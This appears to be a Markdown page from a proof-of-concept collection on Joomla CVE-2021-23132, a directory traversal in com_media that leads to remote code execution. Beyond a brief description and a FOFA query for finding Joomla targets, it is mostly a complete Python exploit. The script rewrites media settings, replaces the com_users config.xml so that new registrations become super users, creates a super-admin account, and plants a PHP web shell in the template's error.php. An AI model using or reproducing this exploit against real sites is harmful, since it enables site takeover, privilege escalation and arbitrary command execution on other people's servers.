Awesome-POC/CMS漏洞/Joomla 目录遍历及远程代码执行漏洞 CVE-2021-23132.md
2022-12-06 17:17:54 +08:00

677 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla 目录遍历及远程代码执行漏洞 CVE-2021-23132
## 漏洞描述
Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统是全球知名的一套内容管理系统CMS
本漏洞涉及到目录遍历及进一步导致的RCE漏洞。在Joomla! 3.0.0到3.9.24版本中Joomla!的com_media组件配置允许被任意修改导致Web级别目录遍历攻击者通过一系列操作进一步会导致远程命令执行。
## 漏洞影响
```
3.0.0 <= Joomla! <= 3.9.24
```
## FOFA
```
app="Joomla"
```
## 漏洞复现
获取超级管理员权限触发RCE。
poc
```
http://target/templates/protostar/error.php?cmd=ls
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
```
cve-2021-23132.py
```python
#!/usr/bin/python3
import sys
import requests
import re
import argparse
#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}
proxies={}
try:
import lxml.html
except ImportError:
print("module 'lxml' doesn't exist, type: pip3 install lxml")
exit(0)
def writeConfigFile(filename):
print("[+] Creating config.xml ")
content="""<?xml version="1.0" encoding="utf-8"?>
<config>
<fieldset
name="user_options"
label="COM_USERS_CONFIG_USER_OPTIONS" >
<field
name="allowUserRegistration"
type="radio"
label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="new_usertype"
type="usergrouplist"
label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"
description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"
default="2"
checksuperusergroup="0"
/>
<field
name="guest_usergroup"
type="usergrouplist"
label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"
description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"
default="1"
checksuperusergroup="0"
/>
<field
name="sendpassword"
type="radio"
label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"
description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="useractivation"
type="list"
label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"
description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"
default="0"
>
<option value="0">JNONE</option>
<option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>
<option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>
</field>
<field
name="mail_to_admin"
type="radio"
label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"
description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="captcha"
type="plugins"
label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"
description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"
folder="captcha"
filter="cmd"
useglobal="true"
>
<option value="0">JOPTION_DO_NOT_USE</option>
</field>
<field
name="frontend_userparams"
type="radio"
label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="site_language"
type="radio"
label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"
class="btn-group btn-group-yesno"
default="0"
showon="frontend_userparams:1"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="change_login_name"
type="radio"
label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"
description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset
name="domain_options"
label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
>
<field
name="domains"
type="subform"
label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"
description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"
multiple="true"
layout="joomla.form.field.subform.repeatable-table"
formsource="administrator/components/com_users/models/forms/config_domain.xml"
/>
</fieldset>
<fieldset
name="password_options"
label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
<field
name="reset_count"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
first="0"
last="20"
step="1"
default="10"
/>
<field
name="reset_time"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"
first="1"
last="24"
step="1"
default="1"
/>
<field
name="minimum_length"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"
description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"
first="4"
last="99"
step="1"
default="4"
/>
<field
name="minimum_integers"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"
description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_symbols"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"
description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_uppercase"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"
description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_lowercase"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"
description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"
first="0"
last="98"
step="1"
default="0"
/>
</fieldset>
<fieldset
name="user_notes_history"
label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >
<field
name="save_history"
type="radio"
label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="history_limit"
type="number"
label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
filter="integer"
default="5"
showon="save_history:1"
/>
</fieldset>
<fieldset
name="massmail"
label="COM_USERS_MASS_MAIL"
description="COM_USERS_MASS_MAIL_DESC">
<field
name="mailSubjectPrefix"
type="text"
label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"
description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"
/>
<field
name="mailBodySuffix"
type="textarea"
label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"
description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"
rows="5"
cols="30"
/>
</fieldset>
<fieldset
name="debug"
label="COM_USERS_DEBUG_LABEL"
description="COM_USERS_DEBUG_DESC">
<field
name="debugUsers"
type="radio"
label="COM_USERS_DEBUG_USERS_LABEL"
description="COM_USERS_DEBUG_USERS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="debugGroups"
type="radio"
label="COM_USERS_DEBUG_GROUPS_LABEL"
description="COM_USERS_DEBUG_GROUPS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset name="integration"
label="JGLOBAL_INTEGRATION_LABEL"
description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
>
<field
name="integration_sef"
type="note"
label="JGLOBAL_SEF_TITLE"
/>
<field
name="sef_advanced"
type="radio"
class="btn-group btn-group-yesno btn-group-reversed"
default="0"
label="JGLOBAL_SEF_ADVANCED_LABEL"
description="JGLOBAL_SEF_ADVANCED_DESC"
filter="integer"
>
<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
</field>
<field
name="integration_customfields"
type="note"
label="JGLOBAL_FIELDS_TITLE"
/>
<field
name="custom_fields_enable"
type="radio"
label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset
name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC"
>
<field
name="rules"
type="rules"
label="JCONFIG_PERMISSIONS_LABEL"
filter="rules"
validate="rules"
component="com_users"
section="component"
/>
</fieldset>
</config>
"""
f = open(filename, "w")
f.write(content)
f.close
def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print("[-] Cannot find CSRF token!\n")
return None
return match.group(1)
def try_admin_login(sess, url, uname, upass):
admin_url = url + '/administrator/index.php'
print('[+] Getting token for Manager login')
resp = sess.get(admin_url, verify=True)
token = extract_token(resp)
if not token:
return False
print('[+] Logging in to Admin')
data = {
'username': uname,
'passwd': upass,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data, verify=True)
if 'task=profile.edit' not in resp.text:
print('[!] Admin Login Failure!')
return None
print('[+] Admin Login Successfully!')
return True
def check_admin(sess, url):
url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
resp = sess.get(url_check, verify=True)
token = extract_token(resp)
if not token:
print ("[-] You are not admin account!")
sys.exit()
return token
def set_media_options(url, sess, dir, token):
print("[+] Setting media options")
newdata = {
'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
'jform[upload_maxsize]': 10,
'jform[file_path]': dir,
'jform[image_path]': dir,
'jform[restrict_uploads]': 0,
'jform[check_mime]': 0,
'jform[image_extensions]': 'bmp,gif,jpg,png',
'jform[ignore_extensions]': '',
'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
'jform[upload_mime_illegal]': 'text/html',
'id': 13,
'component': 'com_media',
'task': 'config.save.component.apply',
token: 1
}
newdata['task'] = 'config.save.component.apply'
config_url = url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata, verify=True)
if 'jform[upload_extensions]' not in resp.text:
print('[!] Maybe failed to set media options...')
return False
return True
def traversal(sess, url):
shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder='
resp = sess.get(shell_url, verify=True)
page = resp.text.encode('utf-8')
html = lxml.html.fromstring(page)
files = html.xpath("//input[@name='rm[]']/@value")
for file in files:
print (file)
pass
def removeFile(sess, url, filename, token):
remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename
msg = sess.get(remove_path, verify=True,proxies=proxies)
page = msg.text.encode('utf-8')
html = lxml.html.fromstring(page)
file_remove = html.xpath("//div[@class='alert-message']/text()[1]")
print ('\n' + '[Result]: ' + file_remove[-1])
def upload_file(sess, url, file, token):
print("[+] Uploading config.xml")
filename = "config.xml"
url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder='
files = {
'Filedata[]': (filename, file, 'text/xml')
}
data = dict(folder="")
resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)
if filename not in resp.text:
print("[!] Failed to upload file!")
return False
print("[+] Exploit Successfully!")
return True
def set_users_option(sess, url, token):
newdata = {
'jform[allowUserRegistration]': 1,
'jform[new_usertype]': 8,
'jform[guest_usergroup]': 8,
'jform[sendpassword] ': 0,
'jform[useractivation]': 0,
'jform[mail_to_admin]': 0,
'id': 25,
'component': 'com_users',
'task': 'config.save.component.apply',
token: 1
}
newdata['task'] = 'config.save.component.apply'
config_url = url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata, verify=True)
if 'Configuration saved.' not in resp.text:
print('[!] Could not save data. Error: Save not permitted.')
return False
return True
def create_superuser(sess, url, username, password, email):
resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True)
token = extract_token(resp)
data = {
# Form data
'jform[name]': username,
'jform[username]': username,
'jform[password1]': password,
'jform[password2]': password,
'jform[email1]': email,
'jform[email2]': email,
'jform[option]': 'com_users',
'jform[task]': 'registration.register',
token: '1',
}
url_post = "/index.php/component/users/?task=registration.register&Itemid=101"
sess.post(url + url_post, data=data, verify=True)
sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
newsess = requests.Session()
if try_admin_login(newsess, url, username, password):
print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password)
return newsess
else:
print ("[-] Sorry,exploit fail!")
return None
def setOption(url, sess, usuper, psuper, esuper, token):
print ("Superadmin Creation:")
# folder contains config.xml
dir = './administrator/components/com_users'
filename = 'config.xml'
set_media_options(url, sess, dir, token)
traversal(sess, url)
removeFile(sess, url, filename, token)
f = open("config.xml", "rb")
upload_file(sess, url, f, token)
set_users_option(sess, url, token)
def rce(sess, url, cmd, token):
filename = 'error.php'
shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
shdata_up = {
'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
'task': 'template.apply',
token: '1',
'jform[extension_id]': '506',
'jform[filename]': '/' + filename
}
sess.post(shlink, data=shdata_up,proxies=proxies)
path2shell = '/templates/protostar/error.php?cmd=' + cmd
# print '[+] Shell is ready to use: ' + str(path2shell)
print ('[+] Checking:')
shreq = sess.get(url + path2shell,proxies=proxies)
shresp = shreq.text
print (shresp + '[+] Shell link: \n' + (url + path2shell))
print ('[+] Module finished.')
def main():
# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument("-url", "--url", required=True,
help=" URL for your Joomla target")
ap.add_argument("-u", "--username", required=True,
help="username")
ap.add_argument("-p", "--password", required=True,
help="password")
ap.add_argument("-dir", "--directory", required=False, default='./',
help="directory")
ap.add_argument("-rm", "--remove", required=False,
help="filename")
ap.add_argument("-rce", "--rce", required=False, default="0",
help="RCE's mode is 1 to turn on")
ap.add_argument("-cmd", "--command", default="whoami",
help="command")
ap.add_argument("-usuper", "--usernamesuper", default="hk",
help="Super's username")
ap.add_argument("-psuper", "--passwordsuper", default="12345678",
help="Super's password")
ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com",
help="Super's Email")
args = vars(ap.parse_args())
# target
url = format(str(args['url']))
print ('[+] Your target: ' + url)
# username
uname = format(str(args['username']))
# password
upass = format(str(args['password']))
# directory
dir = format(str(args['directory']))
# init
sess = requests.Session()
# admin login
if (try_admin_login(sess, url, uname, upass) == None): sys.exit()
# get token
token = check_admin(sess, url)
# set options
set_media_options(url, sess, dir, token)
print ("Directory mode:")
traversal(sess, url)
if ap.parse_args().remove:
print ("\nRemove file mode: ")
filename = format(str(args['remove']))
removeFile(sess, url, filename, token)
# check option superadmin creation
# username of superadmin
usuper = format(str(args['usernamesuper']))
# password of superadmin
psuper = format(str(args['passwordsuper']))
# email of superadmin
esuper = format(str(args['emailsuper']))
# RCE mode
if (format(str(args['rce'])) == "1"):
print ("\nRCE mode:\n")
# command
filename="config.xml"
writeConfigFile(filename)
command = format(str(args['command']))
setOption(url, sess, usuper, psuper, esuper, token)
# superadmin creation
newsess = create_superuser(sess, url, usuper, psuper, esuper)
if newsess != None :
# get token
newtoken = check_admin(newsess, url)
rce(newsess, url, command, newtoken)
if __name__ == "__main__":
sys.exit(main())
```